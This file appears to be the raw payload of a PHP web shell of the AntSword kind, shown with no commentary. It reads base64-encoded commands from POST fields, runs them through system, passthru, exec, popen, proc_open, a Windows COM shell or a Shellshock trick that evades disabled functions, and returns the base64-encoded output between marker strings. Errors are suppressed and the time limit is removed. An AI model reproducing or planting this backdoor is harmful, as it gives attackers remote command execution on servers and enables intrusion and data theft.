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| <?php
@ini_set("display_errors", "0"); @set_time_limit(0);
function asenc($out) { return @base64_encode($out); };
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a34". "be65"; echo @asenc($output); echo "12f680". "ecc486"; } ob_start(); try { $p = base64_decode(substr($_POST["y09523d8d31747"], 2)); $s = base64_decode(substr($_POST["h5718ddf00b51b"], 2)); $envstr = @base64_decode(substr($_POST["l723784e81c292"], 2)); $d = dirname($_SERVER["SCRIPT_FILENAME"]); $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; if (substr($d, 0, 1) == "/") { @putenv("PATH=".getenv("PATH"). ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); } else { @putenv("PATH=".getenv("PATH"). ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } if (!empty($envstr)) { $envarr = explode("|||asline|||", $envstr); foreach($envarr as $v) { if (!empty($v)) { @putenv(str_replace("|||askey|||", "=", $v)); } } } $r = "{$p} {$c}";
function fe($f) { $d = explode(",", @ini_get("disable_functions")); if (empty($d)) { $d = array(); } else { $d = array_map('trim', array_map('strtolower', $d)); } return (function_exists($f) && is_callable($f) && !in_array($f, $d)); };
function runshellshock($d, $c) { if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (fe('error_log')) { error_log("a", 1); } else { mail("a@127.0.0.1", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "") { print($output); return True; } } return False; };
function runcmd($c) { $ret = 0; $d = dirname($_SERVER["SCRIPT_FILENAME"]); if (fe('system')) { @system($c, $ret); } elseif(fe('passthru')) { @passthru($c, $ret); } elseif(fe('shell_exec')) { print(@shell_exec($c)); } elseif(fe('exec')) { @exec($c, $o, $ret); print(join("",$o)); } elseif(fe('popen')){ $fp=@popen($c,'r'); while(!@feof($fp)){ print(@fgets($fp,2048)); } @pclose($fp);} elseif(fe('proc_open')){ $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while(!@feof($io[1])){ print(@fgets($io[1],2048)); }while(!@feof($io[2])){ print(@fgets($io[2],2048)); } @fclose($io[1]); @fclose($io[2]); @proc_close($p); }elseif(fe('antsystem')){ @antsystem($c); } elseif(runshellshock($d, $c)) {return $ret;} elseif(substr($d,0,1)!=" /" && @class_exists("COM ")){ $w=new COM('WScript.shell'); $e=$w->exec($c); $so=$e->StdOut(); $ret.=$so->ReadAll(); $se=$e->StdErr(); $ret.=$se->ReadAll(); print($ret); }else{$ret = 127;} return $ret;}; $ret=@runcmd($r."2 > & 1 ");print ($ret!=0)?" ret = { $ret } ":" ";;}catch(Exception $e){echo " ERROR: //".$e->getMessage();};asoutput();die(); ?>
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